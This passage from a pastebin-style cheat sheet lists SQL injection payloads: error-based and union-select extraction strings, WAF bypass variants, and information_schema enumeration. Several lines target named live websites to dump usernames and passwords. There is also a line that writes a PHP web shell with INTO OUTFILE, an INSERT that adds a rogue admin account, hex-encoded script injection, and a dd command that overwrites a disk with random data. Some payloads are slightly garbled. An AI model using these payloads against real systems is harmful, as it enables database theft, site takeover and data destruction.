  1006. Differences:
  1007.  
  1008. Error Based Query for Database Extraction:
  1009.  
  1010. ===================================================================================================================================
  1011.  
  1012. and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  1013.  
  1014.  
  1015. Double Query for Database Extraction:
  1016.  
  1017.  
  1018. and(select 1 from(select count(*),concat((select (select concat(0x7e,0?27,cast(database() as char),0?27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
  1019.  
  1020. information_schema.tables group by x)a) and 1=1
  1021.  
  1022.  
  1023. and(select 1 from(select count(*),concat((select (select (SELECT distinct
  1024.  
  1025. concat(0x7e,0?27,cast(schema_name as char),0?27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
  1026.  
  1027. information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
  1028.  
  1029.  
  1030. and(select 1 from(select count(*),concat((select (select (SELECT distinct
  1031.  
  1032. concat(0x7e,0?27,cast(table_name as char),0?27,0x7e) FROM information_schema.tables Where
  1033.  
  1034. table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
  1035.  
  1036. information_schema.tables group by x)a) and 1
  1037.  
  1038. ===================================================================================================================================
  1039.  
  1040. WUBI +and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1))) +
  1041.  
  1042. ===================================================================================================================================
  1043.  
  1044.  
  1045.  
  1046. Download any linux live boot after he and format of dd + urandom. There is not ONE thing recovers.
  1047.  
  1048. Code: dd if = / dev / urandom of = / dev / sda bs = 1M
  1049.  
  1050.  
  1051. I d say Using concat (0xY)
  1052.  
  1053.  
  1054. Y being in hex union select concat(version,0x3c7363726970743e616c6572742827706833776c27293c2f7363726970743e)
  1055.  
  1056.  
  1057. http://zerocoolhf.altervista.org/level2.php?id=-1%27%20union%20select%20*%20from%28%28select%201%29a%20join%20%28select%20version%28%29%29b%20join%20%28select%20database%28%29%29c%29 +
  1058.  
  1059.  
  1060. union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=concat( 0x , hex( users )
  1061.  
  1062.  
  1063. =1132 +and+0+union+select+1,(SELECT (@) FROM (SELECT(@:=0?00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x3C7363726970743E616C6572742827, [ ',table_schema,' ] > ,table_name, > ,column_name,0x27293B3C2F7363726970743E))))x),3 +
  1064.  
  1065.  
  1066. injection in sql database addd new user
  1067.  
  1068. INSERT INTO admins (`name`,`password`,`email`) VALUES ( unix ,'unixunix ,'[email protected] )
  1069.  
  1070.  
  1071. +and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_nam e+as+char),0x7e))+from+information_schema.tables+where+table_schema=0xDATABASEHE X+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  1072.  
  1073.  
  1074. CHALLENGES
  1075.  
  1076.  
  1077. Code:
  1078.  
  1079. =(13)and(0)union(select(1),group_concat(column_name,0x3c62723e),(3)from(information_schema.columns)where(table_schema=database())and(table_name=0?7365637572697479)) +-
  1080.  
  1081. =12+and+false/*!union*/ /*!select*/1,group_concat(0x3c62723e,/*!TabLe_NaMe*/),2,concat(user(),0x2a,database(),0x2a,version()),13,0x3c666f6e7420636f6c6f723d626c75653e3c68323e706833776c,15 from information_schema.tables where table_schema=0x66616272697a696f5f636572697070 LiMit 0,1
  1082.  
  1083. =/*!uNiOn*/ /*!SeLeCt*/ 1,concat(/*!version(),0x3a,0x3a,AdMinLoGiN,0x3a,0x3a*/),3 /*!fRoM*/ security
  1084.  
  1085. =121)+and(0)+/*!uNion*/+/*!seleCt*/+1,2,3,4,version(),6,7 -
  1086.  
  1087. =121)/**/and false UNION(SELECT 1,2,3,4,5,6,7) +-
  1088.  
  1089. =121 div 0 ) /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,version()# |
  1090.  
  1091. null +union+select+1,2,count(schema_name),4,5+from+information_schema.schemata x
  1092.  
  1093. ===================================================================================================================================
  1094.  
  1095. Error Based:
  1096.  
  1097. ===================================================================================================================================
  1098.  
  1099. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
  1100.  
  1101.  
  1102. or 1 group by concat(0x3a,(select substr(group_concat(username,0x3a,password),1,150)
  1103.  
  1104.  
  1105. from rmdsz_user),floor(rand(0)*2)) having min(0) or 1 -
  1106.  
  1107. or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 -
  1108.  
  1109.  
  1110. and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  1111.  
  1112.  
  1113. +AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2)))
  1114.  
  1115.  
  1116. +and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3)x+group+by+concat(mid((select+concat_ws(0x7e,version(),0x7e)+from+information_ schema.tables+limit+0,1),1,25),floor(rand(0)*2)))a) x
  1117.  
  1118.  
  1119. or 1=convert(int,(@@version))-
  1120.  
  1121. +or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
  1122.  
  1123. +and+(select+1+from+(select+count(*),concat((select(select+concat(c ast(count(schema_name)+as+char),0x7e))+from+information_schema.schemata+limit+0, 1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
  1124.  
  1125.  
  1126. (42)and(0)union(select(1),2,version(),4,5,0x3c623e3c666f6e7420636f6c6f723d626c75653e706833776c,7,8,9,(10)) +-
  1127.  
  1128. ===================================================================================================================================
  1129.  
  1130. WAF BYPASS BY TOTTI
  1131.  
  1132. ===================================================================================================================================
  1133.  
  1134.  
  1135. =-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_nam e)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database()) -
  1136.  
  1137.  
  1138. =2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database() -
  1139.  
  1140.  
  1141. ===================================================================================================================================
  1142.  
  1143. WUBI 1,(select(@x)from(select(@x:=0?00),(select(0)from(information_schema.columns)where(table_schema!=0?69)and(0?00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2020203d3e3e202020,table_name,0x20203a3a3a32020,column_name))))x),3,4
  1144.  
  1145.  
  1146. (select (@) from (select(@:=0?00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a, [ ',table_schema,' ] > ,table_name, > ,column_name))))x)
  1147.  
  1148. (select (@) from (select (@x:=0?00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  1149.  
  1150.  
  1151. (select (@) from (select (@x:=0?00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
  1152.  
  1153. ===================================================================================================================================
  1154.  
  1155.  
  1156. +and+1=convert(int,SERVERPROPERTY( ProductVersion ))
  1157.  
  1158. ===================================================================================================================================
  1159.  
  1160.  
  1161.  
  1162. test
  1163.  
  1164.  
  1165. http://www.mt.ro/nou/articol.php?id=-angajari +and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1))) +
  1166.  
  1167.  
  1168. & & & & & & & & & & & & & ..
  1169.  
  1170. http://www.mt.ro/nou/articol.php?id=-angajari and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0x64625f6d74 limit 10,1),floor(rand(0)*2))x from information_schema.tables group by x)a) +
  1171.  
  1172.  
  1173. SELECT system($_REQUEST['cmd']); ?>
  1174.  
  1175. INTO OUTFILE full/path/here/cmd.php
  1176.  
  1177.  
  1178.  
  1179.  
  1180. Best WAF Bypass 3 Union Select
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186. " union select version(),2,3,4,5,6,7--", "+union+select+version(),2,3,4,5,6,7--", "\'+union+select+version(),2,3,4,5,6,7--",
  1187.  
  1188. "/**/union/**/select/**/version(),2,3,4,5,6,7/**/",
  1189.  
  1190. "/*+*/union/*+*/select/*+*/version(),2,3,4,5,6,7/*+*/", "/**/union/**/select/**/all/*!50000select*/version(),2,3,4,5,6,7/**/", "%20and%20%28select%201%29%20=%20%28select%202%29%20union%20all%20select%20version%28%29%206%207%202%203--",
  1191.  
  1192. "+and (select 1) = (select 2) union all select version(),2,3,4,5,6,7--", "%20and%20%28select%201%29%20=%20%28select%200x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141%29%20union%20all%20select%20version%28%29%206%207%202%203%204%205%206%207--",
  1193.  
  1194. "and (select 1) = (select 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141) union all select version(),2,3,4,5,6,7--",
  1195.  
  1196. "**/uNiOn/**/SElEcT/**/vErSiOn(),2,3,4,5,6,7/**/",
  1197.  
  1198. "/**/union/**/select*/version(),2,3,4,5,6,7--",
  1199.  
  1200. "/**/union/**/select*/(0x76657273696f6e2829),2,3,4,5,6,7/**/",
  1201.  
  1202. "/*!unIOn*/ select version(),2,3,4,5,6,7--",
  1203.  
  1204. "/*--*/union/*--*/select/*--*/version(),2,3,4,5,6,7/*--*/",
  1205.  
  1206. "%09union%09select%09version(),2,3,4,5,6,7--",
  1207.  
  1208. "%0aunion%0aselect%0aversion(),2,3,4,5,6,7--",
  1209.  
  1210. "%0dunion%0dselect%0dversion(),2,3,4,5,6,7--",
  1211.  
  1212. " union select \@\@version,7,2,3,4,5,6,7--",
  1213.  
  1214. "+union+select+\@\@version,7,2,3,4,5,6,7--",
  1215.  
  1216. "\'+union+select+\@\@version,7,2,3,4,5,6,7--",
  1217.  
  1218. "/**/union/**/select/**/\@\@version,7,2,3,4,5,6,7/**/"
  1219.  
  1220. "/*+*/union/*+*/select/*+*/\@\@version,7,2,3,4,5,6,7/*+*/"
  1221.  
  1222. "/**/union/**/select/**/all/*!50000select*/\@\@version,7,2,3,4,5,6,7/**/"
  1223.  
  1224. "%20and%20%28select%201%29%20=%20%28select%202%29%20union%20all%20select%20%40%40version%206%202%203%204%205%206%207--"
  1225.  
  1226. "+and (select 1) = (select 2) union all select \@\@version,7,2,3,4,5,6,7--"
  1227.  
  1228. "%20and%20%28select%201%29%20=%20%28select%200x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141%29%20union%20all%20select%20%40%40version%206%202%203%204%205%206%207--"
  1229.  
  1230. "and (select 1) = (select 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141) union all select \@\@version,7,2,3,4,5,6,7--"
  1231.  
  1232. "**/uNiOn/**/SElEcT/**/\@\@version,7,2,3,4,5,6,7/**/"
  1233.  
  1234. "/**/union/**/select*/\@\@version,7,2,3,4,5,6,7--", "/**/union/**/select*/(0x404076657273696f6e),2,3,4,5,6,7/**/"
  1235.  
  1236. "/*!unIOn*/ select \@\@version,7,2,3,4,5,6,7--"
  1237.  
  1238. "/*--*/union/*--*/select/*--*/\@\@version,7,2,3,4,5,6,7/*--*/"
  1239.  
  1240. "%09union%09select%09%40%40version%206,2,3,4,5,6,7--"
  1241.  
  1242. "%0aunion%0aselect%0a%40%40version%206,2,3,4,5,6,7--"
  1243.  
  1244. "%0dunion%0dselect%0d%40%40version%206(),2,3,4,5,6,7--"
  1245.  
  1246. "+UNion+SeleCT+verSion(),2,3,4,5,6,7--"
  1247.  
  1248. "+uUniOn+SeLeCt+veRsion(),2,3,4,5,6,7--"
  1249.  
  1250. "+unION+SeLecT+VersiOn(),2,3,4,5,6,7--"
  1251.  
  1252. "+UNION+SELECT+VERSION(),2,3,4,5,6,7--"
  1253.  
  1254.  
  1255. #zuraelstz
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!